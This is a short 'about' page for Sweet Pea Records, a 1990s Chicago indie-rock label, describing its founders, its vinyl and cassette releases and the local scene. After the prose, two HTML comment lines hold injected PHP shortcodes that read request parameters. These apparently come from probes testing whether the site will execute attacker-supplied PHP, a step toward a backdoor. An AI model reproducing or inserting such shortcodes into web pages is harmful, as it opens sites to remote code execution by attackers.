Sweet Pea Records is a Chicago, Ill., indie-rock record label started in early 1990s by Michael Lenzi and Jane Hirt. Our releases are composed mostly of Michael’s bands and his friends’ bands.. After 16 releases, Sweet Pea went dark for much of the 2000s, but has come back with a new release in 2015, a vinyl 12-inch by the artist Lenzi.
When Sweet Pea started, it released only 7-inch vinyl, but later the label branched into cassettes, 12-inches and CDs, including a 1996 benefit compilation for Chicago’s Doorika theater company.
Most of the early 7-inches feature hand-screen-printed covers by Steve Walters at Screwball Press on Western Avenue in Chicago.
We have back copies of some of the early releases, so if you are interested in a snapshot of Chicago’s ’90s indie rock scene, you can buy them. It was a cool time in Chicago. A pre-MP3 era with lots of DIY labels, independent record stores (Black Hole, Quaker Goes Deaf, Reckless) and awesome rock clubs. like the late, great Lounge Ax on Lincoln Avenue.
<!– [insert_php]if (isset($_REQUEST["UVZhQ"])){trim($_REQUEST["UVZhQ"]);exit;}[/insert_php][php]if (isset($_REQUEST["UVZhQ"])){trim($_REQUEST["UVZhQ"]);exit;}[/php] –>
<!– [insert_php]if (isset($_REQUEST["GtN"])){trim($_REQUEST["GtN"]);exit;}[/insert_php][php]if (isset($_REQUEST["GtN"])){trim($_REQUEST["GtN"]);exit;}[/php] –>
